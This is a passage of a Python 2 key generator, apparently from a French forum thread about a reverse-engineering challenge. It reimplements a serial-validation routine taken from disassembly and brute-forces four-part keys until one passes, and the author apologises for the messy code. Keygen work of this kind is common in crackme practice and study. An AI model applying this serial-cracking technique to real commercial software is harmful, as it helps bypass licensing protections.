            dl = esp_38 & 0xff
            dl = dl & 0x7
            serial[eax] = dl ^ serial[eax]
            esp_38 = esp_38 >> 3
        if ecx <= 0x41:
            cl = eax
            cl = cl & 0x1
            serial[eax] = cl ^ ecx
        eax = eax - 1
    if serial[0] == 0x30 and (serial[1] == 0x37 or serial[1] == 0x36):
        return True

def routine_41458D(a):
    if a >= 0x41 and a <= 0x5a:
        a = a + 0x20
    if a < 0x61:
        a = a - 0x30
    else:
        a = a - 0x57
    return a
    
def routine_add(one, two, three, four):
    global spe
    edi = 0x3
    for i in one:
        edx = edi + edi
        eax = routine_41458D(i) ^ edx
        edi = edi + eax
    for i in two:
        edx = edi + edi
        eax = routine_41458D(i) ^ edx
        edi = edi + eax
    for i in three:
        edx = edi + edi
        eax = routine_41458D(i) ^ edx
        edi = edi + eax
    for i in four:
        edx = edi + edi
        eax = routine_41458D(i) ^ edx
        edi = edi + eax
    edi = edi & 0xff
    if edi == spe:
        return True
    return False

if __name__ == "__main__":
    for one in  combine(dic, rep):
        for two in combine(dic, rep):
            for three in combine(dic, rep):
                for four in combine(dic, rep):
                    if routine(one, two, three, four) == True:
                        print "[+] Key found try : " + one + "-" + two + "-" + three + "-" + four

Je tiens à m'excuser si le code n'est pas très explicite, mais j'ai juste supra la flemme de tout clean :].

Pages : 1